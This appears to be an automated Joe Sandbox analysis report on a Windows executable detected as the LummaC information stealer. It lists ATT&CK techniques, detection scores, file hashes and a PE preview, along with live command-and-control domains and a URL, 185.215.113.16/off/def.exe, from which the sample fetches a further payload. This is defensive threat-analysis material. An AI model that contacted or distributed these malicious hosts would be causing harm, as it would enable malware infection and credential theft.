Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\WSHEJMDVQC	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2431542269.000000000160F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6664, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 6664, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	2 Bypass User Account Control	371 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	371 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Bypass User Account Control	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	49%	Virustotal		Browse
file.exe	39%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
necklacedmny.store	11%	Virustotal	Browse
thumbystriw.store	1%	Virustotal	Browse
crisiwarny.store	14%	Virustotal	Browse
presticitpo.store	1%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://x1.c.lencr.org/0	0%	URL Reputation	safe
http://x1.i.lencr.org/0	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.all	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://crl.rootca1.amazontrust.com/rootca1.crl0	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://crt.rootca1.amazontrust.com/rootca1.cer0?	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
necklacedmny.store	188.114.97.3	true	true	11%, Virustotal, Browse	unknown
presticitpo.store	unknown	unknown	true	1%, Virustotal, Browse	unknown
thumbystriw.store	unknown	unknown	true	1%, Virustotal, Browse	unknown
crisiwarny.store	unknown	unknown	true	14%, Virustotal, Browse	unknown
fadehairucw.store	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Reputation
presticitpo.store	true	unknown
necklacedmny.store	true	unknown
fadehairucw.store	true	unknown
founpiuer.store	true	unknown
crisiwarny.store	true	unknown
https://necklacedmny.store/api	true	unknown
scriptyprefej.store	true	unknown
navygenerayk.store	true	unknown
thumbystriw.store	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://necklacedmny.store/9	file.exe, 00000000.00000002.2641717632.0000000001696000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2091576690.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091690990.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091511893.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2091576690.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091690990.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091511893.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store:443/apiicrosoft	file.exe, 00000000.00000003.2578966180.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000003.2328868622.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000003.2328868622.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/R	file.exe, 00000000.00000002.2641717632.0000000001696000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2091576690.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091690990.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091511893.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exeH	file.exe, 00000000.00000002.2639655147.00000000011BA000.00000004.00000010.00020000.00000000.sdmp	false		unknown
https://necklacedmny.store/1	file.exe, 00000000.00000003.2442525870.0000000001696000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.2242092435.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.2242092435.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2091576690.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091690990.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091511893.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16/off/def.exePPGm	file.exe, 00000000.00000002.2641717632.0000000001696000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exes	file.exe, 00000000.00000002.2641717632.0000000001696000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exeRqmZ5	file.exe, 00000000.00000002.2641717632.0000000001696000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2243126492.0000000006139000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store:443/api	file.exe, file.exe, 00000000.00000002.2640749220.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2632701808.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2578966180.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2091576690.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091690990.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091511893.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2091576690.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091690990.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091511893.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.2242092435.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.2242092435.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2091576690.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091690990.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091511893.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000003.2328868622.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/o	file.exe, 00000000.00000003.2090886787.000000000167C000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.2243126492.0000000006139000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/l	file.exe, 00000000.00000003.2431542269.000000000160F000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2091576690.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091690990.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091511893.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/apie	file.exe, 00000000.00000003.2578966180.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2431542269.000000000160F000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16/	file.exe, 00000000.00000002.2641717632.0000000001696000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000003.2328868622.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/	file.exe, 00000000.00000003.2631319784.000000000168E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.16:80/off/def.exe$	file.exe, 00000000.00000002.2640749220.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2632701808.00000000015FE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.2328868622.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.16:80/off/def.exe	file.exe	false		unknown
http://185.215.113.16/9	file.exe, 00000000.00000002.2641717632.0000000001696000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.2242092435.0000000005F1D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000003.2328868622.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://necklacedmny.store/I	file.exe, 00000000.00000002.2641717632.0000000001696000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000003.2328868622.0000000005E14000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/off/def.exe	file.exe, file.exe, 00000000.00000002.2640749220.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2632701808.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2640749220.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2632701808.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2641717632.0000000001696000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2091576690.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091690990.0000000005E49000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2091511893.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.97.3	necklacedmny.store	European Union		13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544235
Start date and time:	2024-10-29 04:51:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/2@5/2
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 6664 because there are no executed function
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:52:02	API Interceptor	261x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.97.3	PbfYaIvR5B.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	windowsxp.top/ExternaltoPhppollcpuupdateTrafficpublic.php
	SR3JZpolPo.exe	Get hash	malicious	JohnWalkerTexasLoader	Browse	xilloolli.com/api.php?status=1&wallets=0&av=1
	5Z1WFRMTOXRH6X21Z8NU8.exe	Get hash	malicious	Unknown	Browse	artvisions-autoinsider.com/8bkjdSdfjCe/index.php
	PO 4800040256.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/4hfb/
	QUOTATION_OCTQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/cDXpxO66/download
	Instruction_1928.pdf.lnk.download.lnk	Get hash	malicious	LummaC	Browse	tech-tribune.shop/pLQvfD4d5/index.php
	WBCDZ4Z3M2667YBDZ5K4.bin.exe	Get hash	malicious	Unknown	Browse	tech-tribune.shop/pLQvfD4d5/index.php
	yGktPvplJn.exe	Get hash	malicious	Pushdo	Browse	www.rs-ag.com/
	https://is.gd/6NgVrQ	Get hash	malicious	HTMLPhisher	Browse	aa.opencompanies.co.uk/vEXJm/
	Comprobante de pago.xlam.xlsx	Get hash	malicious	Unknown	Browse	paste.ee/d/KXy1F
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
necklacedmny.store	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Salary_Structure_Benefits_for_Sebastien.daveauIyNURVhUTlVNUkFORE9NMTkjIw==.html	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	z20SWIFT_MT103_Payment_552016_pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	SecuriteInfo.com.W64.GenKryptik.GHEK.tr.25144.16407.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	https://api.inspectrealestate.com.au/email/track?eta=1&t=B32-5UARLGTXC6GHXC7PJPHCGUP7HMF6FJEQ76L6MOL7WYB6P6EYQNBONANBBGKOXFRO3HPDET5TXGOZXG5FJNMJJC437YUYUWDF5VEVIWPK6LECEZJV3OMRCXF6VI76ZOGYOFIOERVACTHYB4KHK22IKKEWLYPTUBLONXLA7QVY2SW2TZMW4ULVG2UAKDR3DM3RL4TTJAF3F3ROXQ3ZLRVYS7Z2T4TIQETEEUV73V42AQLF65YKSUX6JMYEW3ZHXPREAMXXBOQV32GKOYOISFZKX4GPTPR2IMSMCULLR2V4QUSMU3MWF7NQ%3D%3D%3D%3D	Get hash	malicious	Unknown	Browse	188.114.96.3
	Payment Advice.xls	Get hash	malicious	Unknown	Browse	104.21.21.60
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

Process:	C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\V6JTG9Z5Z4ZAMITLFW.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2838528
Entropy (8bit):	6.493835301781505
Encrypted:	false
SSDEEP:	49152:hB7Lsq3Y5sVCMfyPfrUF8gHZrOCOox7SkPFA:hB3sGYkCOyPfru5rEoxW4FA
MD5:	473C91C8363CF492CF6192686E4AEAE8
SHA1:	4F56B6E25BBF8BB424A3FBB398040D980850A046
SHA-256:	265C128A8A9421847DEA2121AE5CE79EFB601616C4FD060FF9863F4C2C498C2F
SHA-512:	09CEBC8843D1F3AACC502AF0E55736E24D7675DED01C7E402820CEFDA513D4826A7E91167CC548A1B356BF58DEFEAF3A456F08E24BC42D6B560382E351D73C12
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................,......h+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...bbzqfojp..+.........:..............@...ynvwdqnr. ....+......+.............@....taggant.@....+.."....+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.537599599648618
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'994'688 bytes
MD5:	8280e9c803dff5258a0c452549b5953c
SHA1:	27ebb62ff372ffe1de06eedd3b0e1c70b2d6b6a1
SHA256:	010df829b95529730aa0840699e780b9176822dbefc24864ccc134a790043a28
SHA512:	a84ed79a370657385022a07e44988f3e7ebc9799ea658436ffc83a0040c258631e4db71a4c6d5d90d44ab6f375e75a8adef874a2cadbbcec9e2ff6560611b85b
SSDEEP:	49152:6KTpAUwSS6eSNXM1dTPTLSoNTrR3LFG/yaRkz4sT:VTwSS6e2XM1tPTL3r9pzM
TLSH:	22D54BDAA90972CBE0DA17F6C15BCD42595D03F48B1249C7D92C64F97EA3CC11ABBC28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............0...........@...........................0.......-...@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x70c000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F711D141A8Ah
seto byte ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
inc ecx
push bx
dec esi
dec ebp
das
xor al, 36h
dec edi
bound ecx, dword ptr [ecx+4Ah]
dec edx
insd
